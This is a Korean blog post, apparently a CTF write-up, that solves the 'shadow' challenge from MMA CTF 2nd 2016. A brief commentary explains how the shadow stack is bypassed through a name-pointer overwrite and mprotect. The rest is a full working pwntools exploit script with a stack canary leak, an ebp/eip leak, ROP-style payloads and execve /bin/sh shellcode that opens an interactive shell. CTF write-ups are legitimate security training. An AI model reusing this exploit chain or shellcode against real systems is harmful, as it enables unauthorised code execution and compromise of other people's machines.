Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

MMA CTF 2nd 2016 shadow 본문

Security/Pwnable

MMA CTF 2nd 2016 shadow

Cdor1 2017. 2. 14. 23:04

후기 : shadow stack을 바이너리로 구현해놓은 재미있는 문제였다.

bof 자체가 이전에 save해놨던 eip로만 가기때문에 불가능했지만 

name포인터를 덮어 저장되었던 eip를 수정해 mprotect함수로 실행권한을 준 후

리턴 부분을 쉘코드 주소로 돌려 쉘을 얻어냈다. 재밌는 문제였다. 


from pwn import *
s = process('./shadow')

shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'

print s.recvuntil('Input name : ')
s.sendline('dor1')
print s.recvuntil('Message length : ')
s.sendline('-1')
print s.recvuntil('Input message : ')
s.send('A'*33)
print s.recvuntil('A'*33)
canary = u32('\x00' + s.recv(3))
log.info('canary : ' + hex(canary))

print s.recvuntil('Change name? (y/n) : ')
s.sendline('n')
print s.recvuntil('Message length : ')
s.sendline('-1')
print s.recvuntil('Input message : ')
s.send('A'*44)
print s.recvuntil('A'*44)
ebp = u32(s.recv(4))
eip = u32(s.recv(4))
base = ebp & 0xfffff000
log.info('eip : ' + hex(eip))
log.info('ebp : ' + hex(ebp))
log.info('base : ' + hex(base))

print s.recvuntil('Change name? (y/n) : ')
s.sendline('n')
print s.recvuntil('Message length : ')
s.sendline('-1')
print s.recvuntil('Input message : ')
payload = 'A'*32
payload += p32(canary)
payload += '\x90'*16
payload += p32(ebp - 0x100)
payload += p32(0x100) * 2
s.sendline(payload)

print s.recvuntil('Input name : ')
payload2 = p32(0x080484C0)
payload2 += p32(ebp - 0xe8)
payload2 += p32(base)
payload2 += p32(0x1000)
payload2 += p32(7)
payload2 += '\x90' * 0x50
payload2 += shellcode
s.sendline(payload2)

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

YISF 2016 bugmine  (0) 2017.02.15
pwnable.kr brain fuck  (0) 2017.02.15
openCTF 2016 tyro_heap  (0) 2017.02.14
pwnable.kr unlink  (0) 2017.02.13
Codegate 2017 babypwn  (0) 2017.02.13
Comments